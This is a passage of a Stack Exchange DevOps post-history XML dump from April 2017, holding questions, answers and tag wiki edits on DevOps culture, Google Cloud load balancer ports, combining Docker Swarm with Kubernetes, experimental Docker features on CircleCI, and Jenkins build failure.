Development → DevOps and DevOps → Operations.&#xD;&#xA;&#xD;&#xA; - **The DevOps Team** - this can, arguably, work if the team has responsibility for building tools that support the DevOps enabled Operating Model, however, it should probably be called a &quot;Tools Team&quot; or &quot;Platform Team&quot;.&#xD;&#xA;&#xD;&#xA;DevOps Patterns:&#xD;&#xA;&#xD;&#xA; - **Embedded DevOps** - more commonly referred to as Platform Engineering, whereby there is someone within the team who is *accountable but not responsible* for delivering automation, tools and infrastructure for the provisioning and deployment of the solution, sometimes also including operating the software - in my mind, it's the latter that is actually representative of DevOps.&#xD;&#xA;&#xD;&#xA; - **Institutionalized DevOps** - where a project team jointly is responsible for both development and operation of a software package building shared ownership and positive feedback loops.&#xD;&#xA;&#xD;&#xA;Practices&#xD;&#xA;=========&#xD;&#xA;&#xD;&#xA;The actual practice of DevOps builds on top of several other practices, namely:&#xD;&#xA;&#xD;&#xA; - [Agile Delivery][2]&#xD;&#xA; - [Continuous Integration][3]&#xD;&#xA; - [Continuous Delivery][4]&#xD;&#xA; - [Continuous Deployment][5]&#xD;&#xA;&#xD;&#xA;Each of the above practices builds upon the other, it's possible to **not** follow a practice, however, it means an important feedback cycle is missing which may be indicative of a &quot;missed opportunity&quot;.  The key differentiator between following any of the other practices and DevOps is the *operation of software in production*.&#xD;&#xA;&#xD;&#xA;[![DevOps Practices][6]][6]&#xD;&#xA;&#xD;&#xA;The Three Ways&#xD;&#xA;==============&#xD;&#xA;&#xD;&#xA;In [The Phoenix Project][7] Gene Kim and his co-authors describes the [three ways of DevOps][8]:&#xD;&#xA;&#xD;&#xA;Systems Thinking&#xD;&#xA;----------------&#xD;&#xA;&#xD;&#xA;[![Systems Thinking][9]][9]&#xD;&#xA;&#xD;&#xA;&gt; The First Way emphasizes the performance of the entire system, as opposed to the performance of a specific silo of work or department — this as can be as large a division (e.g., Development or IT Operations) or as small as an individual contributor (e.g., a developer, system administrator).&#xD;&#xA;&#xD;&#xA;In my experience starting to get Developers to consider Operational Concerns and Non-functional requirements achieves this goal.  This is very much part of the *culture* aspects of DevOps.&#xD;&#xA;&#xD;&#xA;Amplification of Feedback Loops&#xD;&#xA;-------------------------------&#xD;&#xA;&#xD;&#xA;[![Amplification of Feedback Loops][10]][10]&#xD;&#xA;&#xD;&#xA;&gt; The Second Way is about creating the right to left feedback loops. The goal of almost any process improvement initiative is to shorten and amplify feedback loops so necessary corrections can be continually made.&#xD;&#xA;&#xD;&#xA;I generally achieve this through Continuous Integration/Delivery/Deployment and shared monitoring and alerting, thus it very much fits in with the **tools** component of DevOps.&#xD;&#xA;&#xD;&#xA;Culture of Continuous Experimentation and Learning&#xD;&#xA;--------------------------------------------------&#xD;&#xA;&#xD;&#xA;[![Culture of Continuous Experimentation and Learning][11]][11]&#xD;&#xA;&#xD;&#xA;&gt; The Third Way is about creating a culture that fosters two things: continual experimentation, taking risks and learning from failure; and understanding that repetition and practice is the prerequisite to mastery.&#xD;&#xA;&#xD;&#xA;This fits very much in the *culture* space, although it depends heavily on tools and process to enable the culture to grow.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Productionisation&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Agile_software_development&#xD;&#xA;  [3]: https://www.thoughtworks.com/continuous-integration&#xD;&#xA;  [4]: http://devops.stackexchange.com/questions/tagged/continuous-delivery&#xD;&#xA;  [5]: http://devops.stackexchange.com/questions/tagged/continuous-deployment&#xD;&#xA;  [6]: https://i.stack.imgur.com/LCGnq.png&#xD;&#xA;  [7]: https://www.amazon.co.uk/Phoenix-Project-DevOps-Helping-Business-ebook/dp/B00AZRBLHO&#xD;&#xA;  [8]: http://itrevolution.com/the-three-ways-principles-underpinning-devops/&#xD;&#xA;  [9]: https://i.stack.imgur.com/6LVx9.png&#xD;&#xA;  [10]: https://i.stack.imgur.com/RHMCx.png&#xD;&#xA;  [11]: https://i.stack.imgur.com/41mm9.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2691" PostHistoryTypeId="5" PostId="833" RevisionGUID="885539f8-ccd1-4d5e-b675-4f30e777c7a6" CreationDate="2017-04-11T16:43:19.457" UserId="902" Comment="added 71 characters in body" Text="It seems that by default, Google Cloud load balancers expose a number of ports unecessarily.  I haven't found a way to expose only 80/443 and every time I make one of their load balancers, the following ports are seen in an nmap:&#xD;&#xA;&#xD;&#xA;    PORT     STATE  SERVICE&#xD;&#xA;    25/tcp   open   smtp&#xD;&#xA;    80/tcp   open   http&#xD;&#xA;    110/tcp  open   pop3&#xD;&#xA;    143/tcp  open   imap&#xD;&#xA;    443/tcp  open   https&#xD;&#xA;    465/tcp  open   smtps&#xD;&#xA;    587/tcp  open   submission&#xD;&#xA;    993/tcp  open   imaps&#xD;&#xA;    995/tcp  open   pop3s&#xD;&#xA;    1720/tcp open   H.323/Q.931&#xD;&#xA;    8080/tcp open   http-proxy&#xD;&#xA;&#xD;&#xA;Is there a way to block 25, 465, 587, 993 &amp; 995?  *Note that this question is aboout GCP load balancers, not firewalls.*" ContentLicense="CC BY-SA 3.0" />
  <row Id="2700" PostHistoryTypeId="2" PostId="845" RevisionGUID="252de0c6-9103-4c29-9bf4-769655a3b0fc" CreationDate="2017-04-11T17:29:44.263" UserId="2269" Text="My company is trying to play a little catch-up in the DevOps space. I have been doing a lot of research on containerization of applications and the orchestration systems that go with it. I came across an article (one that I wish I had saved) where they were talking about combining Swarm with Kubernetes to get better functionality. In this article they did not define what they gained by doing that.&#xD;&#xA;&#xD;&#xA;I wondered what benefits would this provide? Is adding the extra layer of complexity really going to give you much return?&#xD;&#xA;&#xD;&#xA;I am almost positive that we will be selecting Docker for our containers and Swarm for an orchestration. I, however, would like to see Kubernetes in our space so the proposition that you could merge the technologies together for a more robust solution intrigues me.Thanks for any insight.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2701" PostHistoryTypeId="1" PostId="845" RevisionGUID="252de0c6-9103-4c29-9bf4-769655a3b0fc" CreationDate="2017-04-11T17:29:44.263" UserId="2269" Text="Combine Docker Swarm and Kubernetes" ContentLicense="CC BY-SA 3.0" />
  <row Id="2702" PostHistoryTypeId="3" PostId="845" RevisionGUID="252de0c6-9103-4c29-9bf4-769655a3b0fc" CreationDate="2017-04-11T17:29:44.263" UserId="2269" Text="&lt;docker&gt;&lt;containers&gt;&lt;orchestration&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2704" PostHistoryTypeId="2" PostId="846" RevisionGUID="da14941e-16c4-42ac-ad2d-0ed9ee49e265" CreationDate="2017-04-11T21:17:23.473" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2705" PostHistoryTypeId="1" PostId="846" RevisionGUID="da14941e-16c4-42ac-ad2d-0ed9ee49e265" CreationDate="2017-04-11T21:17:23.473" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2706" PostHistoryTypeId="2" PostId="847" RevisionGUID="e89b4c9f-dbcb-4ef6-882b-deccbfb34b40" CreationDate="2017-04-11T21:17:23.473" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2707" PostHistoryTypeId="1" PostId="847" RevisionGUID="e89b4c9f-dbcb-4ef6-882b-deccbfb34b40" CreationDate="2017-04-11T21:17:23.473" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2708" PostHistoryTypeId="5" PostId="112" RevisionGUID="024a1bc5-e4c8-474b-8215-e35a51205cef" CreationDate="2017-04-11T22:31:07.873" UserId="397" Comment="Initial Version" Text="**Blue-Green Deployment** is a technique for supporting zero or low-downtime deployments.  Engineers implement Blue-Green Deployments by provisioning identical sets of infrastructure labelled &quot;Blue&quot; and &quot;Green&quot;, both pieces of infrastructure sit behind a router or load balancer:&#xD;&#xA;&#xD;&#xA;[![Blue-Green Deployment][1]][1]&#xD;&#xA;&#xD;&#xA;At any one time, either *Blue* or *Green* is active and serving live traffic; make all deployments to the inactive infrastructure, where they can be deployed and verified without impacting the live infrastructure.  When a deployment is validated, the router is configured to switch traffic from the current live infrastructure to the newly deployed infrastructure.&#xD;&#xA;&#xD;&#xA;Blue-Green Deployment is related to the concepts of Immutable Infrastructure and Canary Releasing.&#xD;&#xA;&#xD;&#xA;## Further Reading&#xD;&#xA;&#xD;&#xA; - [Martin Fowler's article on Blue Green Deployment][2]&#xD;&#xA; - [TheTrainline.com's implementation of Blue-Green Deployment][3]&#xD;&#xA; - [Blue-Green Deployment in Chapter 10 of Jez Humble's Continuous Delivery][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/C2Uc2.png&#xD;&#xA;  [2]: http://BlueGreenDeployment&#xD;&#xA;  [3]: https://engineering.thetrainline.com/2014/11/13/continuous-delivery-with-bluegreen-deployment/&#xD;&#xA;  [4]: https://www.amazon.com/gp/product/0321601912" ContentLicense="CC BY-SA 3.0" />
  <row Id="2709" PostHistoryTypeId="24" PostId="112" RevisionGUID="024a1bc5-e4c8-474b-8215-e35a51205cef" CreationDate="2017-04-11T22:31:07.873" Comment="Proposed by 397 approved by 40, 228 edit id of 228" ContentLicense="CC BY-SA 3.0" />
  <row Id="2710" PostHistoryTypeId="5" PostId="846" RevisionGUID="de9211cd-82fc-4491-b907-fb1865f4d4ab" CreationDate="2017-04-11T22:31:19.907" UserId="397" Comment="added 897 characters in body" Text="Security is a key element of any system that acts to protect information and infrastructure:&#xD;&#xA;&#xD;&#xA; - **Information Security** is the practice of preventing unauthorised access, use, disclosure, disruption, modification, inspection, recording or destruction of information.&#xD;&#xA;&#xD;&#xA; - **IT Security** is the practice of preventing unauthorised access, use, modification or destruction of IT Assets.&#xD;&#xA;&#xD;&#xA; - **DevSecOps or DevOpsSec** is the practice of integrating security into the deployment pipeline using automation and dynamic risk assessment processes.&#xD;&#xA;&#xD;&#xA;## Further Reading&#xD;&#xA;&#xD;&#xA; - [DevOpsSec by Jim Bird][1]&#xD;&#xA; - [DevSecOps Handbook][2]&#xD;&#xA; - [IT Security in a DevOps World][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.oreilly.com/webops-perf/free/devopssec.csp&#xD;&#xA;  [2]: https://www.sans.org/reading-room/whitepapers/analyst/devsecops-playbook-36792&#xD;&#xA;  [3]: https://devops.com/security-devops-world-qa-gartners-ben-tomhave/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2711" PostHistoryTypeId="24" PostId="846" RevisionGUID="de9211cd-82fc-4491-b907-fb1865f4d4ab" CreationDate="2017-04-11T22:31:19.907" Comment="Proposed by 397 approved by 40, 228 edit id of 230" ContentLicense="CC BY-SA 3.0" />
  <row Id="2712" PostHistoryTypeId="5" PostId="113" RevisionGUID="419eb333-2056-456c-b38c-c2126ac1e115" CreationDate="2017-04-11T22:31:26.047" UserId="397" Comment="Initial Version" Text="Use this tag to describe questions related to Blue-Green Deployments, the technique for delivering zero-downtime deployments in a continuous deployment pipeline." ContentLicense="CC BY-SA 3.0" />
  <row Id="2713" PostHistoryTypeId="24" PostId="113" RevisionGUID="419eb333-2056-456c-b38c-c2126ac1e115" CreationDate="2017-04-11T22:31:26.047" Comment="Proposed by 397 approved by 40, 228 edit id of 229" ContentLicense="CC BY-SA 3.0" />
  <row Id="2714" PostHistoryTypeId="5" PostId="847" RevisionGUID="bf5f4e91-734f-4bd4-9877-42e163300a87" CreationDate="2017-04-11T22:31:29.857" UserId="397" Comment="added 72 characters in body" Text="For questions related to IT Security, Information Security or DevSecOps." ContentLicense="CC BY-SA 3.0" />
  <row Id="2715" PostHistoryTypeId="24" PostId="847" RevisionGUID="bf5f4e91-734f-4bd4-9877-42e163300a87" CreationDate="2017-04-11T22:31:29.857" Comment="Proposed by 397 approved by 40, 228 edit id of 231" ContentLicense="CC BY-SA 3.0" />
  <row Id="2716" PostHistoryTypeId="2" PostId="848" RevisionGUID="25255aeb-db4b-4ad7-bab9-65e8ed6e1120" CreationDate="2017-04-12T03:35:43.343" UserId="228" Text="**TL;DR: DON'T DO IT.** Engineers always try to create these dog-pigs. Every unnecessary technology you bring will bring another whole set of faults. If you can pick one, then pick one and be happy you don't have to do both. If you like to play with Kubernetes, just get a private account on Google Cloud and play with it as much as you like. But don't make everyone at your company suffer through unnecessary complications.&#xD;&#xA;&#xD;&#xA;Those are two parallel and mostly equivalent technologies. If your business had legitimate business reason to deploy in multiple Cloud providers for reliability for example and wanted to deploy into both AWS [ECS][1] (Elastic Container Service - based on Docker) and Google [GKE][2] (Container Engine - based on Kubernetes) and you were asking how do you build a pipeline, which would build your software and package in containers for deployment in both, that would be something else, but doing it just because you want to play with a new technology is very irresponsible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/ecs/&#xD;&#xA;  [2]: https://cloud.google.com/container-engine/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2717" PostHistoryTypeId="5" PostId="848" RevisionGUID="7946e912-2f59-4b05-bbb7-6695d10085ac" CreationDate="2017-04-12T03:46:54.390" UserId="228" Comment="added 567 characters in body" Text="**TL;DR: DON'T DO IT.** Engineers [always try][1] to create these dog-pigs. Every unnecessary technology you bring will bring another whole set of faults. If you can pick one, then pick one and be happy you don't have to do both. If you like to play with Kubernetes, just get a private account on Google Cloud and play with it as much as you like. But don't make everyone at your company suffer through unnecessary complications.&#xD;&#xA;&#xD;&#xA;Those are two parallel and [mostly equivalent][2] [technologies][3]. If your business had legitimate business reason to [deploy][4] in [multiple Cloud][5] providers [for reliability][6] for example and wanted to deploy into both AWS [ECS][7] (Elastic Container Service - based on Docker) and Google [GKE][8] (Container Engine - based on Kubernetes) and you were asking how do you build a pipeline, which would build your software and package in containers for [deployment in both][9], that would be something else, but doing it just because you want to play with a new technology is very irresponsible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker/swarm-frontends&#xD;&#xA;  [2]: https://technologyconversations.com/2015/11/04/docker-clustering-tools-compared-kubernetes-vs-docker-swarm/&#xD;&#xA;  [3]: https://insights.hpe.com/articles/the-basics-explaining-kubernetes-mesosphere-and-docker-swarm-1702.html&#xD;&#xA;  [4]: https://www.containership.io&#xD;&#xA;  [5]: https://thenewstack.io/containers-microservices-and-the-multi-cloud/&#xD;&#xA;  [6]: http://www.stratoscale.com/blog/cloud/running-containers-multi-cloud-environment/&#xD;&#xA;  [7]: https://aws.amazon.com/ecs/&#xD;&#xA;  [8]: https://cloud.google.com/container-engine/&#xD;&#xA;  [9]: https://leanpub.com/the-devops-2-toolkit" ContentLicense="CC BY-SA 3.0" />
  <row Id="2718" PostHistoryTypeId="2" PostId="849" RevisionGUID="fe146386-5ac0-4183-bba3-242f12c0ade5" CreationDate="2017-04-12T07:41:34.083" UserId="210" Text="When a build is started on CircleCI one of the first things that is done is:&#xD;&#xA;&#xD;&#xA;&gt; Setup a remote Docker engine&#xD;&#xA;&gt; &#xD;&#xA;&gt;     Specified reusable docker engine, but build has not been whitelisted.&#xD;&#xA;&gt;     Contact CircleCI to be whitelisted&#xD;&#xA;&gt;     Allocating a remote Docker Engine&#xD;&#xA;&gt;     ...&#xD;&#xA;&gt;     Remote Docker engine created. Using VM 'prealloc-wrjtu1qd-1491949826270'&#xD;&#xA;&gt;     Created container accessible with:&#xD;&#xA;&gt;       DOCKER_TLS_VERIFY=1&#xD;&#xA;&gt;       DOCKER_HOST=tcp://&lt;IP&gt;:2376&#xD;&#xA;&gt;       DOCKER_CERT_PATH=/tmp/docker-certs615987123&#xD;&#xA;&gt;       DOCKER_MACHINE_NAME=51123&#xD;&#xA;&#xD;&#xA;Subsequently when `docker build --squash -t imagename .` is run on CircleCI it results in:&#xD;&#xA;&#xD;&#xA;    Error response from daemon: squash is only supported with experimental mode&#xD;&#xA;    Exited with code 1&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;It works to use experimental features locally after changing the `/etc/docker/daemon.json` as follows:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;experimental&quot;: true&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and restarting the docker systemctl service, but how to do that on CircleCI? It seems impossible as the build output indicates that a connection is made to a remote docker that reside on the CircleCI systems.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2719" PostHistoryTypeId="1" PostId="849" RevisionGUID="fe146386-5ac0-4183-bba3-242f12c0ade5" CreationDate="2017-04-12T07:41:34.083" UserId="210" Text="How to run experimental Docker features on CircleCI" ContentLicense="CC BY-SA 3.0" />
  <row Id="2720" PostHistoryTypeId="3" PostId="849" RevisionGUID="fe146386-5ac0-4183-bba3-242f12c0ade5" CreationDate="2017-04-12T07:41:34.083" UserId="210" Text="&lt;circleci-2.0&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2721" PostHistoryTypeId="2" PostId="850" RevisionGUID="1fda228a-5aa3-4315-8ec5-367ff97f3d41" CreationDate="2017-04-12T08:07:21.053" UserId="2284" Text="I created a project into Jenkins and set it to run tests on every pushes. but even when one of the pushes does not pass the tests, Jenkins build returns success. How can define failure situation if tests do not pass into Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2722" PostHistoryTypeId="1" PostId="850" RevisionGUID="1fda228a-5aa3-4315-8ec5-367ff97f3d41" CreationDate="2017-04-12T08:07:21.053" UserId="2284" Text="How to define failure situation on jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="2723" PostHistoryTypeId="3" PostId="850" RevisionGUID="1fda228a-5aa3-4315-8ec5-367ff97f3d41" CreationDate="2017-04-12T08:07:21.053" UserId="2284" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2724" PostHistoryTypeId="5" PostId="850" RevisionGUID="7bd96e76-657d-409a-a28b-e9ff25c7cd21" CreationDate="2017-04-12T08:11:43.720" UserId="46" Comment="deleted 4 characters in body" Text="I created a project in Jenkins and set it to run tests on every pushes. but even when one of the pushes does not pass the tests, Jenkins build returns success. How can define failure situation if tests do not pass in Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2725" PostHistoryTypeId="6" PostId="849" RevisionGUID="d538c17e-f268-4833-9240-7194e04ad003" CreationDate="2017-04-12T08:12:07.363" UserId="46" Comment="edited tags" Text="&lt;docker&gt;&lt;circleci-2.0&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2726" PostHistoryTypeId="2" PostId="851" RevisionGUID="24e8c956-a893-48aa-8ba3-c088e7c8d607" CreationDate="2017-04-12T09:29:26.250" UserId="1059" Text="***[Consider as a Comment]** I don't have enough Reputation to comment, so writing in Answer area !*&#xD;&#xA;&#xD;&#xA;By default Jenkins assumes the whether the build is `SUCCESS` or not from build process exit code.&#xD;&#xA;&#xD;&#xA;Which means that build exit with `code 0` consider as SUCCESS, rest all are considered as FAILURE !&#xD;&#xA;&#xD;&#xA;If your build step/process with `code 0`, even during the failure case then Jenkins will report the build is `SUCCESS`.&#xD;&#xA;&#xD;&#xA;So I my suggestion is, ran the all build step manually &amp; try to get the exit code each step (for both PASS &amp; FAIL case), that might help you ! " ContentLicense="CC BY-SA 3.0" />
  <row Id="2727" PostHistoryTypeId="5" PostId="851" RevisionGUID="e9638e81-5a30-4c02-a070-83f8cf2e1a00" CreationDate="2017-04-12T09:34:18.177" UserId="14" Comment="Remove 'this should be a comment' notice" Text="By default Jenkins assumes the whether the build is `SUCCESS` or not from build process exit code.&#xD;&#xA;&#xD;&#xA;Which means that build exit with `code 0` consider as SUCCESS, rest all are considered as FAILURE.&#xD;&#xA;&#xD;&#xA;If your build step/process with `code 0`, even during the failure case then Jenkins will report the build is `SUCCESS`.&#xD;&#xA;&#xD;&#xA;So I my suggestion is to run the all build steps manually and try to get the exit code each step (for both PASS and FAIL case)." ContentLicense="CC BY-SA 3.0" />
  <row Id="2728" PostHistoryTypeId="24" PostId="851" RevisionGUID="e9638e81-5a30-4c02-a070-83f8cf2e1a00" CreationDate="2017-04-12T09:34:18.177" Comment="Proposed by 14 approved by 1059 edit id of 233" ContentLicense="CC BY-SA 3.0" />
  <row Id="2729" PostHistoryTypeId="5" PostId="848" RevisionGUID="eb53672d-5ca4-4229-92b0-df896cd6d607" CreationDate="2017-04-12T10:07:05.893" UserId="13" Comment="Moved one link to avoid missing the next one." Text="**TL;DR: DON'T DO IT.** Engineers [always try][1] to create these dog-pigs. Every unnecessary technology you bring will bring another whole set of faults. If you can pick one, then pick one and be happy you don't have to do both. If you like to play with Kubernetes, just get a private account on Google Cloud and play with it as much as you like. But don't make everyone at your company suffer through unnecessary complications.&#xD;&#xA;&#xD;&#xA;Those are two [parallel][2] and mostly equivalent [technologies][3]. If your business had legitimate business reason to [deploy][4] in [multiple Cloud][5] providers [for reliability][6] for example and wanted to deploy into both AWS [ECS][7] (Elastic Container Service - based on Docker) and Google [GKE][8] (Container Engine - based on Kubernetes) and you were asking how do you build a pipeline, which would build your software and package in containers for [deployment in both][9], that would be something else, but doing it just because you want to play with a new technology is very irresponsible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker/swarm-frontends&#xD;&#xA;  [2]: https://technologyconversations.com/2015/11/04/docker-clustering-tools-compared-kubernetes-vs-docker-swarm/&#xD;&#xA;  [3]: https://insights.hpe.com/articles/the-basics-explaining-kubernetes-mesosphere-and-docker-swarm-1702.html&#xD;&#xA;  [4]: https://www.containership.io&#xD;&#xA;  [5]: https://thenewstack.io/containers-microservices-and-the-multi-cloud/&#xD;&#xA;  [6]: http://www.stratoscale.com/blog/cloud/running-containers-multi-cloud-environment/&#xD;&#xA;  [7]: https://aws.amazon.com/ecs/&#xD;&#xA;  [8]: https://cloud.google.com/container-engine/&#xD;&#xA;  [9]: https://leanpub.com/the-devops-2-toolkit" ContentLicense="CC BY-SA 3.0" />
  <row Id="2730" PostHistoryTypeId="5" PostId="840" RevisionGUID="48e8a76b-9ff2-4ff7-ac7c-0c088c33db4e" CreationDate="2017-04-12T10:33:03.637" UserId="14" Comment="Streamline usage guidance (the definition is better in the wiki); CircleCI is styled as one word; commas." Text="Use this tag for questions about the CircleCI 2.0, which went into closed beta in November 2016.  For the current version of CircleCI use the [circleci] tag." ContentLicense="CC BY-SA 3.0" />
  <row Id="2731" PostHistoryTypeId="24" PostId="840" RevisionGUID="48e8a76b-9ff2-4ff7-ac7c-0c088c33db4e" CreationDate="2017-04-12T10:33:03.637" Comment="Proposed by 14 approved by 40, 397 edit id of 235" ContentLicense="CC BY-SA 3.0" />
  <row Id="2732" PostHistoryTypeId="5" PostId="839" RevisionGUID="40ebd888-d6e8-4ed9-8aad-86cdad7c29d1" CreationDate="2017-04-12T10:33:10.163" UserId="14" Comment="Streamline usage guidance (the definition is better in the wiki); CircleCI is styled as one word; commas." Text="Use this tag for questions about [CircleCI][1] 2.0, a significant update of Circle CI's Continuous Integration and Deployment Platform.  [CircleCI 2.0][2] went into closed beta in November 2016.  For the current version of CircleCI, use the [tag:circleci] tag.&#xD;&#xA;&#xD;&#xA;  [1]: https://circleci.com/&#xD;&#xA;  [2]: https://circleci.com/blog/say-hello-to-circleci-2-0/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2733" PostHistoryTypeId="24" PostId="839" RevisionGUID="40ebd888-d6e8-4ed9-8aad-86cdad7c29d1" CreationDate="2017-04-12T10:33:10.163" Comment="Proposed by 14 approved by 40, 397 edit id of 234" ContentLicense="CC BY-SA 3.0" />
  <row Id="2734" PostHistoryTypeId="2" PostId="852" RevisionGUID="fb88f0f4-79f1-45a7-be24-27daa4d0652d" CreationDate="2017-04-12T11:25:26.153" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2735" PostHistoryTypeId="1" PostId="852" RevisionGUID="fb88f0f4-79f1-45a7-be24-27daa4d0652d" CreationDate="2017-04-12T11:25:26.153" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2736" PostHistoryTypeId="2" PostId="853" RevisionGUID="edd07c44-81eb-4335-aa11-3b60a0b5a4a0" CreationDate="2017-04-12T11:25:26.153" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2737" PostHistoryTypeId="1" PostId="853" RevisionGUID="edd07c44-81eb-4335-aa11-3b60a0b5a4a0" CreationDate="2017-04-12T11:25:26.153" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2738" PostHistoryTypeId="2" PostId="854" RevisionGUID="f54b1f1d-dcea-4472-b50e-ca6ee7838bd1" CreationDate="2017-04-12T11:54:33.900" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2739" PostHistoryTypeId="1" PostId="854" RevisionGUID="f54b1f1d-dcea-4472-b50e-ca6ee7838bd1" CreationDate="2017-04-12T11:54:33.900" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2740" PostHistoryTypeId="2" PostId="855" RevisionGUID="581d5633-e59c-4a63-bb88-5a7148d57e81" CreationDate="2017-04-12T11:54:33.900" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2741" PostHistoryTypeId="1" PostId="855" RevisionGUID="581d5633-e59c-4a63-bb88-5a7148d57e81" CreationDate="2017-04-12T11:54:33.900" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2742" PostHistoryTypeId="2" PostId="856" RevisionGUID="12321ccf-8a58-46a6-b9f0-cd5b9ced1626" CreationDate="2017-04-12T12:03:27.297" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2743" PostHistoryTypeId="1" PostId="856" RevisionGUID="12321ccf-8a58-46a6-b9f0-cd5b9ced1626" CreationDate="2017-04-12T12:03:27.297" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2744" PostHistoryTypeId="2" PostId="857" RevisionGUID="35fcee1a-9048-4c80-baec-e0da01fc8a44" CreationDate="2017-04-12T12:03:27.297" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2745" PostHistoryTypeId="1" PostId="857" RevisionGUID="35fcee1a-9048-4c80-baec-e0da01fc8a44" CreationDate="2017-04-12T12:03:27.297" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2746" PostHistoryTypeId="5" PostId="852" RevisionGUID="aa67e925-e662-405b-a5e7-022bdc941cb1" CreationDate="2017-04-12T12:20:12.903" UserId="14" Comment="added 1022 characters in body" Text="Software recommendations are [currently accepted](https://devops.meta.stackexchange.com/a/87/14) on the site, but to avoid subjective questions and spam answers, we ask that you follow some specific instuctions, inspired by [Software Recommendations' quality guidelines](https://softwarerecs.meta.stackexchange.com/a/352/27161):&#xD;&#xA;&#xD;&#xA;- Clearly define **a goal** that needs to be achieved using the software. Try to describe  this in *as much detail as you can*, and avoid subjective descriptions, such as 'the best version control system'.&#xD;&#xA;&#xD;&#xA;- List your **requirements** for the software. If you need something that uses less than 5 MB of disk space, great—but try to avoid vague requirements such as 'not much disk space', because that's open to misinterpretation.&#xD;&#xA;&#xD;&#xA;- **Show your research**. This isn't just to prove that you've 'put in the effort'—showing what you've found so far—and why it isn't suitable—helps others to get an idea of what you're looking for and stops them from recommending things you already know." ContentLicense="CC BY-SA 3.0" />
  <row Id="2747" PostHistoryTypeId="24" PostId="852" RevisionGUID="aa67e925-e662-405b-a5e7-022bdc941cb1" CreationDate="2017-04-12T12:20:12.903" Comment="Proposed by 14 approved by 397, 40 edit id of 236" ContentLicense="CC BY-SA 3.0" />
  <row Id="2748" PostHistoryTypeId="5" PostId="853" RevisionGUID="adb7d44f-4ffa-4024-bbbf-202e61c1b0ed" CreationDate="2017-04-12T12:21:20.767" UserId="14" Comment="added 203 characters in body" Text="For questions seeking a specific piece of software related to DevOps. Please check the tag wiki before asking a [software-recommendation] question—there are additional guidelines to help you ask clearly." ContentLicense="CC BY-SA 3.0" />
  <row Id="2749" PostHistoryTypeId="24" PostId="853" RevisionGUID="adb7d44f-4ffa-4024-bbbf-202e61c1b0ed" CreationDate="2017-04-12T12:21:20.767" Comment="Proposed by 14 approved by 397, 40 edit id of 237" ContentLicense="CC BY-SA 3.0" />
  <row Id="2750" PostHistoryTypeId="2" PostId="858" RevisionGUID="0eab2edd-cd49-4090-a445-89fda4c41c84" CreationDate="2017-04-12T12:25:55.410" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2751" PostHistoryTypeId="1" PostId="858" RevisionGUID="0eab2edd-cd49-4090-a445-89fda4c41c84" CreationDate="2017-04-12T12:25:55.410" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2752" PostHistoryTypeId="2" PostId="859" RevisionGUID="58edc286-4418-4c83-9007-f23a0b8a7e30" CreationDate="2017-04-12T12:25:55.410" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2753" PostHistoryTypeId="1" PostId="859" RevisionGUID="58edc286-4418-4c83-9007-f23a0b8a7e30" CreationDate="2017-04-12T12:25:55.410" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2754" PostHistoryTypeId="2" PostId="860" RevisionGUID="4a0b6de3-df8a-4786-a875-d3295c406982" CreationDate="2017-04-12T12:31:27.167" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="2755" PostHistoryTypeId="1" PostId="860" RevisionGUID="4a0b6de3-df8a-4786-a875-d3295c406982" CreationDate="2017-04-12T12:31:27.167" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2756" PostHistoryTypeId="2" PostId="861" RevisionGUID="420bc68c-50f4-45b7-87ea-95ebadad913c" CreationDate="2017-04-12T12:31:27.167" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
